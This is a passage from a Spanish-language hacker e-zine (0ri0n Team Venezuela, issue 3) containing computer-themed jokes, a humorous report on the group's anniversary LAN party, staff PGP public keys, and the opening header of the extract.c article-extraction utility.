  salvavidas, y pregunta: donde, donde esta la ballena?, y el borracho le 
  dice: no chico, es que se me cayeron dos botellas de ron y una va llena!. 


  
  MARINERO Y BORRACHO

  Era un marinero y un borracho, el borracho traia un palo y zas le pega al 
  marinero en ya sabran donde en sus cosillas y le dice el borracho al 
  marinero: 
 
  Le dolio
 
  Le responde: 
 
  No dice el borracho: por que? 
  responde por que soy de la marina.
 
  Y de nuevo zas y le dice de nuevo: le dolio y responde no y le dice por que?
  y dice por que soy de la marina. Y otra vez aaa.. pero el marinero se rie 
  luego le dice el borracho le dolio y dice no pregunta por que ? y dice por 
  que son de plastilina roja. 
 

  
  5 PATITAS

  Una pata tiene cinco patitas y le dice su marido:
 
  "Mama pata como vamos a ponerle a las cinco patitas?, a lo que respondio 
  la mama pata:" pues

 como son cinco como las vocales, una se llamara pata, 
  la otra peta, otra pita, otra pota, y respondio la ultima yo Mari Carmen
  como mi abuela...! 



  DEFINICION DEL HOMBRE EN TERMINOS INFORMATICOS

  HOMBRE INTERNET: hombre de dificil acceso.
  HOMBRE SERVIDOR: esta siempre ocupado cuando usted quiere usarlo.
  HOMBRE WINDOWS: todo el mundo sabe que no sirve, pero nadie vive sin el...
  HOMBRE POWERPOINT: solo la esposa de Bill Gates tiene paciencia para 
                     aguantarlo mas de media hora.
  HOMBRE EXCEL: hace muchas cosas pero Ud. solo lo utiliza para las cuatro 
                operaciones basicas.
  HOMBRE WORD: tiene siempre una sorpresa reservada para Ud. y no existe 
               nadie que lo comprenda totalmente...
  HOMBRE D.O.S.: todos la usaron algun dia, pero nadie lo quiere ahora.
  HOMBREBACKUP: Ud. siempre cree que tiene lo suficiente pero en la hora de 
                "vamos a ver" falta algo...
  HOMBRE VIRUS: tambien conocido como esposo, cuando usted menos espera se 
                instala y va apoderandose de todos sus recursos. Si Ud 
		intenta desinstalarlo pierde alguna cosa, si no lo intenta 
		pierde todo...
  HOMBRE SCANDISK: sabemos que el es bueno y que solo quiere ayudar pero en 
                   el fondo nadie sabe realmente que esta haciendo.
  HOMBRE SCREENSAVER: no sirve para nada, pero te divierte.
  HOMBRE RAM: aquel que olvida lo que hace apenas se desconecta.
  HOMBRE HARDDISK: aquel que se acuerda de todo, todo el tiempo.
  HOMBRE MOUSE: solo funciona cuando es arrastrado y presionado.
  HOMBRE MULTIMEDIA: hace que todo parezca bonito.
  HOMBRE MICROSOFT: Quiere dominar a cualquier mujer que aparezca a su vista 
                    e intentara convencerla de que eso es lo mejor para ella 
		    Quiere ser el unico en su vida. Llegara un dia que hasta 
		    para abrir la nevera usted tendra que pedir su permiso.
  HOMBRE PASSWORD: Ud. cree que es la unica que lo conoce, pero lo conoce 
                   medio mundo.
  HOMBRE MP3: Todos quieren bajarselo.
  HOMBREUSUARIO: No hace nada bien y pide mas de lo que necesita.
  HOMBRE ANALISTA-PROGRAMADOR: Se la pasa trabajando, se la pasa rega~ando.
  HOMBRE CPU: Por fuera pareciera que tiene de todo, pero por adentro esta 
              casi vacio.
  HOMBRE MONITOR: Te hace ver la vida con lindos colores.
  HOMBRE LECTOR CD: Cada vez son mas rapidos.
  HOMBRE DATAWAREHOUSING: Te informa de todo menos lo que realmente te interesa.
  HOMBRE E-MAIL: De cada diez cosas que te informa ocho son pendejadas.
  


  NUEVO!!! MICROSOFT VIAGRA...
  QUE PASARA SI MICROSOFT HUBIERA INVENTADO EL VIAGRA?...
  HE AQUI ALGUNAS RESPUESTAS...

  1.- Probablemente el MSViagra todavia estaria siendo probado y no habria 
      sido lanzado al mercado.
  
  2.- Junto con el prospecto vendria un cupon para un futuro upgrade para 
      MSViagra 2.0
  
  3.- Tendrias una ereccion, misma que terminaria intempestiva y 
      misteriosamente por motivos inexplicables.

  4.- Tendrias una ereccion, pero descubririas horrorizado que no te 
      proporciona un orgasmo. Solo te producira un orgasmo a partir de la 
      version MSViagra 2.0, pero el fabricante promete proveerte de un patch 
      en el formato de una peque~a pildora amarilla para tomar durante el 
      acto.

  5.- Tomas la pildora, no funciona y llamas al fabricante para reclamarle.

      El laboratorio entonces te convence de que tomaste la pildora con mucha 
      agua o con poca o con nada, pero seguro que la opcion que escogiste no 
      fue la adecuada.

  6.- Compras MSViagra el cual te venden en paquete junto con un frasquito con
      vitamina C de sabor horrible. El problema es que el MSViagra solo 
      funciona si te tomas la maldita vitamina.

  7.- Despues de tomar MSViagra surgiran algunos efectos colaterales: dolores 
      de cabeza, ausencia de sentidos como el olfato y el gusto y algunas 
      cosas mas. Pero todo eso sera apenas un detalle al lado del inmenso 
      placer que MSViagra te va a proporcionar.
  8.- Despues de instalada la ereccion, descubres que no consigues 
      desinstalarla.

  9.- Descubres que te sientes atraido por determinadas mujeres y que con 
      algunas de ellas (normalmente las mejores) MSViagra no funciona.

 10.- Junto con el MSViagra recibes un paquete con una serie de remedios para
      una enfermedad que no tienes.

 11.- No esta escrito en ningun lugar, pero si observas bien, no tendras una 
      ereccion real sino una virtual. No obstante, estaras convencido que 
      tuviste una ereccion.

 12.- Si eres miembro registrado llama al 01-800-VIAGRA y recibiras un upgrade
      gratuito a MSViagra 3.11 o MSViagra 2001 o la nueva MSViagra 2003 
      Pre-release.


  EL O ELLA?

  Un se~or que antes era un marino, estaba familiarizado con el hecho de que 
  los barcos son tratados como "el" y "ella". Sin embargo, siempre se pregunto
  a que genero deberian pertenecer las computadoras (o los computadores).

  Para responder esta pregunta junto dos grupos de expertos en informatica.

  El primer grupo estaba compuesto por mujeres, y el segundo por hombres. A 
  cada grupo se le pidio que demuestre si las computadoras deberian 
  encasillarse en el genero femenino, o en el genero masculino. Se les 
  exigio que dieran 4 razones para su respuesta.

  El grupo de las mujeres afirmo que los computadores deben pertenecer al 
  genero masculino debido a que:

  1. Para hacer con ellos lo que quieras hay que encenderlos.

  2. Tienen bastante informacion, pero todavia son tontos.

  3. Supuestamente ayudan a resolver problemas, pero la mitad del tiempo ellos
     son el problema.

  4. Tan pronto como te comprometes con uno te das cuenta, que si hubieras 
     esperado un poco mas, habrias podido tener un modelo mejor.

  Los hombres, al contrario, concluyeron que las computadoras deben 
  pertenecer al genero femenino debido a que:

  1. Nadie, solamente su Creador, entiende su logica interna.

  2. El lenguaje nativo que usan para comunicarse entre ellas es 
     incomprensible para el resto.

  3. Hasta tus mas peque~os errores son almacenados en una memoria de largo 
     plazo para ser invocados despues.

  4. Tan pronto como te comprometes con una, te encuentras gastando medio 
     sueldo en accesorios para ella.


  ORACION DEL USUARIO

  Se~or, gracias por un dia mas frente a una maquina que no se manejar. 
  
  Por favor dame un poco mas de inteligencia para saber ahora si, como 
  prenderla. 

  Saca por favor de mi mente que el CD-ROM no es un portavasos.

  Aleja de mi teclado la taza de cafe que suelo tirar.
  
  Dame un poco mas de memoria para recordar mi password de red.

  No dejes que borre el command.com de nuevo pensando que es basura.

  Dejame recordar que tengo que salvar mis archivos cuando trabaje en ellos. 

  Ten en el cielo a los 45 ingenieros de soporte que murieron en el intento 
  de explicarme como cerrar correctamente Windows, y dale paciencia a los 
  que estan en el intento.

  Aleja de mi el regulador que pateo y apaga la maquina cada vez que contesto 
  el telefono.

  Dame sabiduria para entender que no todos los errores se solucionan con 
  Ctrl-Alt-Supr.

  Amen. 


  FEBRERO LOCO, MARZO OTRO POCO
  
  Dijo Adan al Creador:
  
  No entiendo, Se~or. De veras: no entiendo. Que meses son estos que 
  hiciste, febrero y marzo? Impredecibles son uno y el otro.

  Un dia cae una lluvia tormentosa y al siguiente brilla esplendido el sol.

  Hoy sopla un viento que parece que va a arrancar los cimientos del mundo y
  ma~ana todo esta en calma apacible y sosegada. No me explico, Se~or, por 
  que hiciste asi esos meses.

  Le contesto el Se~or:

  Mira, Adan: dentro de poco voy a hacer a la mujer, y es bueno que desde 
  ahora te vayas acostumbrando.
  

--EOF--


-[ 3x16.txt ]----------------------------------------------------------------
-[ Edicion Especial: Aniversario de 0ri0n ]-------------[ Mr. kl0nk Manson ]-
-------------------------------------------------------[ kl0nk@uole.com.ve ]-

  
  Estamos de fiesta, 0ri0n Team Venezuela esta de cumplea~os, 1 a~o de vida
  en el cual estamos todos felices porque mal que bien estamos todos juntos
  (o  casi  todos) y la pasamos muy bien. Todo fue estrictamente organizado 
  para       el       12       de       Mayo      (Ver     Editorial     en 
  http://pleyades.sourceforge.net/editorial.php),  decidimos montar nuestra 
  LAN  y  pasar  un  rato amigable; la conexion a Internet se dio gracias a 
  nuestro compa~ero "El_Nomis", el nos presto el  local  y la  conexion ese 
  dia, en  los  cuales  nos encontrabamos inouttime, vbxsys, ShAd0w5, Jess, 
  Chica4xs, Pesado, ElNomis, Pestilencia y mi persona.
  
  Esto  fue  nuestra primera reunion, mucho de nosotros estabamos inquietos 
  porque  nos  hibamos a conocer, y quedamos todos  en  encontarnos  en  un 
  CyberCafe  y  nos  hibamos  a  identificar  gracias  al logo de 0ri0n, lo 
  hibamos a pegar en cualquier parte de nuestro cuerpo. Ya mucho de nosotros
  nos  habiamos  conocido  antes (vbxsys, Pestilencia, ShAd0w5, Jess y Yo), 
  pero  era  el encuentro  total  de todo el grupo. Lo que Fue P-Drok-Array 
  no  se podia reunir con nostros porque el estaba en USA  y  El_Max_5  nos 
  dijo  que  el  era Profesor  de  una Universidad  y  que  no  podia ir al 
  encuentro porque tenia que dar  unas  clases recuperativas  ese dia. Pero 
  ellos quedaron entrar al IRC un rato para hablar con todo el Grupo.
  
  La  espectativa mas grande era conocer a la unica mujer de nuestro Grupo,
  ella nos envio  una  vez  una foto pero nosotros no creiamos que era ella
  (y  no  lo era), Nos conto El_Nomis que el primero en llegar al Cybercafe 
  fue ShAd0w5, el lo reconocio fue porque el tipo se habia pegado  el  logo
  de 0ri0n en el pecho  y  porque  es   de  piel  oscura (por eso el nick). 
  Luego   llego   Pestilencia  gritando  en  el  CyberCafe  "Ya Llege,  soy 
  Pestilencia, donde  estan  los  de 0ri0n!!!", la gente que estaba alli se 
  quedo sorprendida por el comportamiento  de  el, pero  el tipo venia todo 
  Borracho, se encontro con ShAd0w5 y empezaron a arreglar  las cosas de la
  LAN, luego llegue yo, conoci al El_Nomis (Personalmente creia que era mas 
  Joven, pero  no,  el Tipo tiene como 30 a~os), luego llego Jess,  todavia 
  estabamos  por la espera  de  los  tres que no conociamos, en una de esas 
  entra  un  Gordote  Alto  Moreno  preguntando  por  un  tal  kl0nk  a  la
  administradora  del  local donde se hizo el evento, una mujer que trabaja 
  en  el  CyberCafe le dijo que no, que alli no habia nadien llamado kl0nk, 
  luego  el se estubo un rato esperando en la entrada, yo salgo con ShAd0w5 
  a ******** **  *******,  y  cuando yo le hago el comentario que no hiba a 
  venir ni Pesado ni los otros y el se nos arcerco y nos dijo: "Hey, contra
  la pared, soy de la Brigrada de  Informatica de la PTJ[1] y que estabamos
  bajo  arresto por ser Deliencuentes  Informaticos", yo  personalmente  me 
  asuste  mucho, el  nos  reviso  y  luego  se  hecho  a reir, nos pregunto 
  nuestros  nick's  y luego se identifico como Pesado, bueno, lo llevamos a 
  la  LAN  para que se  integrara. Al rato llega una Chica directo a la LAN 
  diciendo: "Hola    Muchachos, soy   Chica4xs,  Mucho   Gusto", yo   quede 
  impresionado porque no era lo que esperaba, ella  hace  tiempo  nos envio 
  una foto de una chica al estilo "Nerd", un poco gorda  y  con lentes pero 
  cuando  ella llego era totalmente diferente, era delgada, un  cuerpo  muy 
  bonito, de  cara  liza  y  perfilada, cabello  casta~o  claro  y un pelin 
  pecosa, todos  los  hombres  que  estabamos alli se nos cayo "la baba" de 
  lo bella que es ella, es la primera  mujer Hacker que conozco, yo pensaba
  que era mas "Feita" pero no, no lo es,  bueno, ella encajo rapidamente en
  el grupo. Despues de varios minutos llega  un tipo todo frito[2], cabello 
  largo  ondulado, una  franela  deste~ida  y  un  blue  jean  roto, el  se 
  identifico  como  inouttime, me acuerdo de que me llamo mucho la atencion
  la franela que  traia  puesta, decia  "Got Root?",  heheh, el dice que es
  su  franela  favorita,  quedamos  asombrados  porque  el  es un enraze de 
  "Nerd" con un "Loco de Carretera". Despues llego vbxsys  al  encuentro  y 
  de una vez se decidierona a armar la LAN. 
  
  Empezamos a armar la LAN, yo traia un HUB de 8 Puertos, mietras que vbxsys
  saco  de  su bolso un Switch 3Com 10/100 Mbps, hehe, por alla sacaron unos
  metros  de  cable  UTP,  unos  conectores  RJ-45,  Cable  Coaxial  y  unos 
  Terminator's,  Lo  que  era vbxsys  saco   su Palm  Pilot  y  la portatil, 
  mientras  que  otros  armaba maquinas  por  piezas, Pestilencia  armo  una 
  computadora sin Case, coloco la MotherBoard en una mesa y asi trabajo todo
  el dia. Una  de  las ventajas de esto fue que donde estabamos es propiedad 
  del  ElNomis, el tenia  varios  monitores  arrumado  y  sin utilizar, unos 
  teclado  viejos  y otras cositas, el nos habilito  un  cuarto  para  armar 
  nuestra LAN. 
  

  Despues  de  armar la LAN, Pestilencia y Pesado se fueron  en busqueda de
  Licor, cigarrillos  y  comida, mientras  que los demas empezamos a montar 
  Linux, WinNT y OpenBSD en nuestras Boxes y probar algunas vulnerabilidades
  a un Peque~o Servidor que teniamos (Un  NT 4.0), el cual tenia fa llos de 
  todo tipo, el  cual  fue   parcheado  por Jess, luego de tener todo listo 
  pues nos conectamos a la INET. Por el otro lado estaba vbxsys y inouttime
  armando  el  servidor de Juegos con  Quake 2/3, Counter Strike y Need For 
  Speed 4.
  

  Luego de  un par de horas empezo la fiesta, nos conectamos un rato al IRC
  (en el  estaba  P-Drok-Array y El_Max_5 esperandonos), en el cual hicimos 
  grupos para los  juegos, empezamos con Quake 2 (Capture Flag), en el cual
  en  el  equipo  rojo nos encontrabamos  Jess,  ShAd0w5,  Chica4xs  y  yo, 
  Mientras que en el azul estaba vbxsys, inouttime, P-Drok-Array,  ElNomis, 
  los otros no jugaron porque estaban ocupados en otras cosas, el FragLimit
  fue de 50, en el cual el equipo que gano fue el azul (por 3 puntos), pero
  bueno, era solo juego. 
  
  Luego le dimos a Counter Strike (Todos queriamos  ser  Terroristas =) ... 
  no se porque), bueno, se  decidio  que  los  mas  Anti-Sociales del Grupo 
  hiban   a   ser  Terrorista   y  los  demas Contra-Terroristas,  en   los  
  cuales quedaron inouttime, ShAd0w5, Pestilencia y Pesado como Terrorista, 
  y  vbxsys, Jess, ElNomis y yo como Super's Cop's. 
  
  Luego nos comimos unas Hamburgesas con  Ventarron Limon, Pestilencia como 
  siempre ya estaba ebrio y empezo a cantar unas Rancheras (creo que era de
  Vicente Fernadez). El licor  era  lo  que sobraba, teniamos 2 Botellas de 
  Ventaron  Limon, Ron  Pampero (El  del  Caballito  Frenao), 2 Botellas de 
  Tequila  (El Cuervo), Y Dos Cajas de Cerveza (una  de  Polar  y  Otra  de 
  Regional), Hahaha  y  8  cajas  de  Cigarrillos (mas las caletas), dos de 
  Marlboro Rojo, una de Lucky Strike, 4 de Belmont y una de Marlboro Light.
    
  Luego de Varias Horas, pues Jugamos, programamos un Rato (Chica4xs estaba 
  leyendose unas traducciones que hizo Honoriak sobre los Buffers OverFlow), 
  probamos algunas bugs, bajamos pornografia[3], etc. El Show empezo cuando 
  Pesado  trato  de armar una Computadora (estando  Borracho)  y  quemo  la 
  Motherboard. Otro fue el de Pestilencia, cuando vomito a Chica4xs, hehehe,
  nosotros gozamos mucho. 
  
  Nos  cayo  la  noche y empezamos en Busqueda de Hoteles para poder Dormir
  (Ya que todos no podian dormir en la casa de  ElNomis ni en el CyberCafe), 
  se me olvidaba, por  decicion  unanime  escojimos  la  ciudad  donde vive 
  ElNomis  para  hacer la  LAN (Barquisimeto), porque  muchos  de  nosotros 
  queriamos conocer la  ciudad  (y  Porque el Tenia una Conexion Dedicada a 
  Internet). Otra de las cosas fue  que  probamos unas tecnicas para clonar 
  celulares pero no funcionaron. Tambien armamos  el  cable para los Nokias 
  51xx/61xx (Via COM), esto era para poder actualizar la eeprom y actualizar
  la version del telefono para que pudiera enviar/recibir textos (sms). Otra
  fue  la  de  insercion  de  nuevos  Tonos y Las Pantallas de Inicio a los 
  Celulares (esto fue patrocinado gracias a Kiwwi[4] y Pesado).
  
  Lo  que  fue  Pesado, Pestilencia,  ShAd0w5 se  tiramos un tour hacia los 
  burdeles  de  esa  ciudad, mientras  los  otros  estaban  en busquedas de 
  hoteles  3B (Triple B == Bueno+Bonito+Barato). Yo me quede en la casa del
  ElNomis junto a Chica4xs, vbxsys y Jess.
  
  Al  otro dia nos reunimos en la ma~ana para Despedinos y cuadrar un nuevo
  evento, se penso hacerlo cada a~o pero muchos dijeron que ea mucho tiempo
  para reunirnos, tambien se hablo de la posibilidad de hacer una LAN PARTY,
  pero en lo  unico  que  quedamos fue  que  este a~o nos vamos a reunir de 
  nuevo todos juntos (tal vez a finales de este a~o), todos sin exepcion.
  
  Bueno Se~ores, este cuento se ha acabado, este  relato es solo un peque~o
  fragmento de lo que sucedio ese dia, espero que les halla gustado. Pueden
  Ver las fotos en http://pleyades.sourceforge.net/imagenes/
  
    
  
  --Mr. kl0nk Manson
  
  
   ------------------------------------------------------------------------

  [1]: PTJ == Policia Tecnica Judicial.
  [2]: Palabra Coloquial el cual su significado es "Super Loco-Enfermizo".
  [3]: De todo menos pornografia INFANTIL.
  [4]: Colaborador activo de 0ri0n (es casi de nuestra familia) al igual
       que Pesado.

-FDA-

-[ 3x17.txt ]----------------------------------------------------------------
-[ Llaves PGP ]----------------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ otv@datafull.com ]-

  Llaves:
  -------
  - Staff:
    0ri0n Staff
    ShAd0w5
    Mr. kl0nk Manson

  - Colaboradores
    MindLock
  
  


0ri0n Staff
-----------

[++] KeysPGP/staff.asc $0d0b0600080c0c060f0d0f030b0100021
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

mQGiBDuzRd0RBADylT8usf1hPJR3YIsH4RJRODKuISa4sc1ISN5SGU5ytijr200v
ztsrLDkVBAVwwGrM1TkbeZpgN1ujz8nTQ3cVdfBHhB6A9J7S6+dPkZQBqsRR5rGW
3cis8YU+aVFnOybKhNJSnys7LqL730yqNVjIwV4kC9JtVKH/VBHhAS3/2wCg/yrM
E9XqFcnZjU4Mwpe1IT5NBGMD/3t1DcupbQWWXZ++HEdaxE3dC3yzbsHTYt5rT4HX
y7r8lYb+iLA/7f68QFpwYtm+OL+ZfI5fAFCPPUa5Vf95MzhkFsKa+56LnE2Ftq8k
J7HaKidM1I+ANvpZWtUc+4hDXaIyAmXwn3IpwNaI/e6DFEGO583bH+fPZ19gejqy
VQA5A/4wphBSgjtTSTJ6PzH589sdLAoUpHWfGCR0J76rK5o6BsEns8R/R1xI/Rh6
xNjFnE3iL9ohkXZGWnONYWJQSRFzxXDEF2MKumum1PZpC+nUaIk26iskbfmT1/6t
VD2ZDadbjMJJI9mCVaIw5YP3OtI2uWC4tP2P9PmYi6g5mm4cxbQeMHJpMG4gU3Rh
ZmYgPG90dkBkYXRhZnVsbC5jb20+iQBYBBARAgAYBQI7s0XdCAsDCQgHAgEKAhkB
BRsDAAAAAAoJEKmOhTLAFgTpdxoAnRJREGu2YKSus9cNGMClrY1k+bQiAKDtg9ss
GAy5Y3XK6lMI5BegRsJW+rkCDQQ7s0XdEAgA9kJXtwh/CBdyorrWqULzBej5UxE5
T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/c
dlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaCl
cjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD
8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZ
yAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf7
BMyU7d1UmaMQE/VRU7vax6oMHgOmSDMGTyEEudXKobGZo3VOEa055ZflWWtyMt4Z
XXXZSi8ju7MAn359NXuT3Fgp8azfPcoBq1yNJESXzyTJb9ngLpTq81iHM1niirAJ
ubGuDuj/BSnMatxkCmBqai0DcRNHxF9oPXaDYlQtCB2aQYJsfOkph2LJh7CYLuWy
B/wUi81r+UqBtoLJdqDVN3ob8ADcLz8celxZe/b9DaQjcCDRiBgdyiFN/F+eg3XO
nJC72DisCYZIOG/IE5Zzcy+TmpNWokTUgVbGXpZNg2hFFekUx+dJ/dyKsD9jbOo+
2uOoyrevAPTLNu6U5miN3YkATAQYEQIADAUCO7NF3QUbDAAAAAAKCRCpjoUywBYE
6XAWAJ9uhxOPLg2vS6g1yhxECSS5731rngCfX/DN7mxvj6pLjWBRindd1VXIN44=
=pAl/
-----END PGP PUBLIC KEY BLOCK-----
[--]


ShAd0w5
-------

[++] KeysPGP/shadow5.asc $0706000e05080b070b08080c040a0e07d
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>
Comment: ShAd0w5 <shadow5@0ri0n.org>

mQENAzqTwU4AAAEIAMVl5jLEcuNy0dAVCbz24jxtA2+FJkFIAR6yLd1gDeOxcQtC
L4rhcbAzl6YEplZXUAF9jtbPdjr1y9otgQ1gT4+GW8+uELk9ip9yd5dyFCPGP85w
L5zhC9AVoPvblueh1nRypz2HP3WDeVFihYvr9nkK20aIPyX03QG3NXLBpFVY5/IA
jnuDjAzbxbY0E4lr21Jhlg0w1qabCvlS62IWzcg42RwHklXOuo3PRQCao5u+xInY
6NKXGb3JQLBjtHKBpRay1b7flwLjf7dxfUJGVTfdLz3kh9209fwHdcvpXejXcPGF
sn5VOOkbKyMeIbqUNo8bm5LQQXDU8wZGsy7gdIMABRG0G1NoQWQwdzUgPHNoYWRv
dzVAMHJpMG4ub3JnPokBFQMFEDqTwU7zBkazLuB0gwEB3J4H/2rMrbA1fTRzLfWQ
BAvZdAuHBBheahkJ6tNJUS604WdvCFQtwrcLNKIpAStq4kBnKQ/yqx9a6fUzp0qm
qZ4a+Wmj7hjjo4liuoevOSYXI2ZRPQAyV72G8Xve5X2WbziMobJKguzO0lpmo8rx
D5DFJbf+G8uK1LhAxuvtYayc2C7C/U74d1I2gymf1Qgu2F+/FH6AVvkWdxrzAm+f
cBT5DsBWWrEU7zVaGdQxyheqBpUG84nGqZGsMkbMtHZuriXrJ2JledOvf6+YN87G
8fwjJoVPM7C7KBWxziv8v6TEevg0QkaQNHJwEtKOH+ks4fEjzpI6YIx8LEfpiMDD
FyvG254=
=6idm
-----END PGP PUBLIC KEY BLOCK-----
[--]


Mr. kl0nk Manson
----------------

[++] KeysPGP/kl0nk.asc $0d0b090e05000c08010d0c03030800098
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

mQGiBDumYdQRBADl4P8kqpuA4c2Hn1ywjOrVa1XvViexzzAc6chKDH/9G5d0iozm
D0qv5CTqD6EgkSqK7THlSgqdPTmnGzgtOK24diHQdrt7YPfZ6cJu3rtLQ+7lKZEe
1Jwye4QD082kAHwVrmTBZTv/RX6CSOuMH6aAzolSK7H9QhFQEvDexCWuVQCg/6oF
qrfXs9OkYOa0AvWD06qkH90D/i/eeDTv4nIXc/JKT2VYhCuMVGhO3tJrTrf825xB
B9yzZLmQsoGZ0ngbmO+BpKBm1RwmRC76Ba381ccw63Nqqh107fuPChfScXaGCx4m
xaR7BQ/E5J0OCEnRv/jXa5zGr3gMbtn4XQVL17jUU5T2kCLNXH24T/3zXJsUEe05
0rZYA/wMy/B54tzMFIwIxcvlvmlYeGlJSYYRYqZMQXCdaeEWfRHaPZFwgZcPDK50
RngmWb/FHLOEFkUWX/wc81ZFp7fH7U+RjA59DjYLQ7JK3iadJpLRqqv50SYGjynh
t91rvOy1sx6he1OiVePFU8VuB82S7g6AlpFORg2BNgHAINDFz7QkTXIuIGtsMG5r
IE1hbnNvbiA8a2wwbmtAdW9sZS5jb20udmU+iQBYBBARAgAYBQI7pmHUCAsDCQgH
AgEKAhkBBRsDAAAAAAoJEKd4D2u78KAR6KMAoNn4I+lnSwW/QNFU3rbr4dtYUoQa
AJoDofKEQSfkb7dJwIUNlcN12ityX7kCDQQ7pmHUEAgA9kJXtwh/CBdyorrWqULz
Bej5UxE5T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHT
UPj1WV/cdlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq
01uejaClcjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O
9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcK
ctaGxAMZyAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TIL
OwACAgf/fiFoG8SpBSr8u7TToGVA/LCS/MmGpfUDD253x4LqH/l6+i1vAGP6h3iU
1bSvgMlgi1ZlairsiZiAU6ckv46OAHI1R9yz8KFAQHxwuNGnmNpP5Agign16v83E
JI8q5e7dSWlqqOTgwWKz4BrxksC48zD71e6sU8fRiIromSUin+CO7wjRdDgSJ91I
X5R3J2SoTs7WvLVr2EE3KKN5yBfGC7Wcbfxk/PUTxSU4AAA44PAADgcJqPqSq27P
b4KrAwdmUKYTJS0QEQ0H2czaAUWBE/SAnv4BhILL/ZPW9Fq692aG6+uOHaXflcnR
+/2CMiAFT6Nl2iWeCyICNOK/vYsNl4kATAQYEQIADAUCO6Zh1AUbDAAAAAAKCRCn
eA9ru/CgETmmAJ9FLVZjJzE4vSx0HfxO3mQghGL/8ACeJmk7ViUmF4jb8ShQ7jTy
c22z3Cg=
=mHtY
-----END PGP PUBLIC KEY BLOCK-----
[--]


Mindlock
--------

[++] KeysPGP/mindlock.asc $0e0e0202000b0a030c0604090a050f04f
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

mQGiBDtPGZgRBADt7jSOu4UhOj3+RaNfg/UYjI4B1/+EHuOqPhUSm2lD635I/V+N
OOFvTVxIEld9pKkE7oADA3vX12le0SjVVneFNi8Ax4dFDRNJWED47zBTYd4kHykq
PZxfB8FnWKWqTiHVsEO3y8h4s1wPM/GELQ1sI7wzsMFCmHOqUHthUC+AcwCg/wny
zqkI9lLt8hAQTZmiZfvCA6UEAJ9hTCmPX3hsnaE+p/hm9MEzRNsqcJQRDCMDRAUA
EMjqRBGE7KY0M/treoM89j2i3mmkyrqB96jPzGv6e8HUt1DrmajW8EkibcJYAe2t
+p+U2GLwkklOaWozGs4/6hnynoB4kHqmrYtYPiY7fZi7YbUdeLzOnAPl3gA2ys25
UggVBADqh4s75Ua6rXHZvzHkYvi1AnmR/r1Z7uFVYYZjDVanMg2No9OwHxpVb/a0
RWNMwkDQZlg+JKM8WktuwNtE02qKcxDcDoW/lBJDrHKGWPsjQczE7PjMO1rf03Qc
S2jDJeJA2wky0wg577m/m5s6LilD+Fmhut7hHgclJx4eEIEEeLQpTWluZGxvY2sg
RGVsIE1vbnRlIDxtaW5kbG9jb0BwdW5rYXNzLmNvbT6JAFgEEBECABgFAjtPGZgI
CwMJCAcCAQoCGQEFGwMAAAAACgkQ4Ru6D6vwKkdV9wCbBGhdxMlicTsY1YL7lr8h
YcKBSwEAn2m2JIArYKLZTRViPnyjtB1OTyBfuQGuBDtPGnUQBoIDtmr3+YsximzL
GINjlqVTib9jPp2TZMXdwKswAWLCiQhKBpBB/u/HHql8trhNR9I55XpB8YR9SG0Y
tbR+9WeBELvt59P/0KhIZTHXBDB4eM8B/haMHnerny04LkwmIm4u5kgDZ4DcbrC2
tltPgQnqEit9CRriYtguqYQJL3bLulxDXOq55uzjxyg2JcK8fdXGm3HQ1eoiLAIM
8/IJcgRDErVJqxuAeXA8IMsMgvix4ffL1KTY4/3c/vaB2IbKtsLp51TtB/JfgiEo
GVjnVKULkwACAgZ9Eyq5vNBsuvIX2QToRbBCySHLGicuuocMwVMo1bk0lEWwWj5s
N9qsqKF92sxYKuxfhewjpoOQR1+tJDdXf8/+Ms0y7tdfSB//+zrYV0xaFhWVk6kd
u6jnoHXQSqOUUv3Uhla8NMtanw00LY1y713W3Y6ALDCmmqQNz8dgLwot8b75Wrum
j0jghTQro9nZLpwOUorNuAoNLA9a4aSa4blAZSaCPLYStpcX7DaxK106Jn1UykqA
bbZrFXdpCUZqsJDT022O+/LD9NFg4R5ktrCTUIkATAQYEQIADAUCO08adQUbDAAA
AAAKCRDhG7oPq/AqRw+BAJ9vKGy1pVzJf+exIfXKEwaMi6TdbACgkB5P/7qmYEnT
zi8he8x1yR9Czjs=
=iRMi
-----END PGP PUBLIC KEY BLOCK-----
[--]



-EOF-



-[ 3x18.txt ]----------------------------------------------------------------
-[ Extract ]-------------------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ otv@datafull.com ]-
 
 Con este programa puedes extraer tanto las fuentes dentro de los articulo, 
 como articulo por articulo; este archivo fue originalmente escrito  por el 
 staff  de  Phrack  y el que usamos ahora fue modificado por  la  gente  de
 NetSearch.
 
 Modos de Uso:
 
 1. Primero que todo ejecuta el archivo ./extract que trae esta revista, si
    no funciona entonces compila el fuente que esta mas abajo.
 2. Para extraer todo el codigo que esta dentro de esta revista haz:
 
    ./extract *

 3. Para Separar los articulos haz:
 
    ./extract -s 0ri0n-3.txt
    

  Aqui esta el fuente de extract.

[++] extract.c $010a040d0e040509060f05020d0b0c0b6
/*
 *  Original: Phrack Staff (r)
 *  Re-programacion: NetSearch - http://www.netsearch-ezine.com
 *
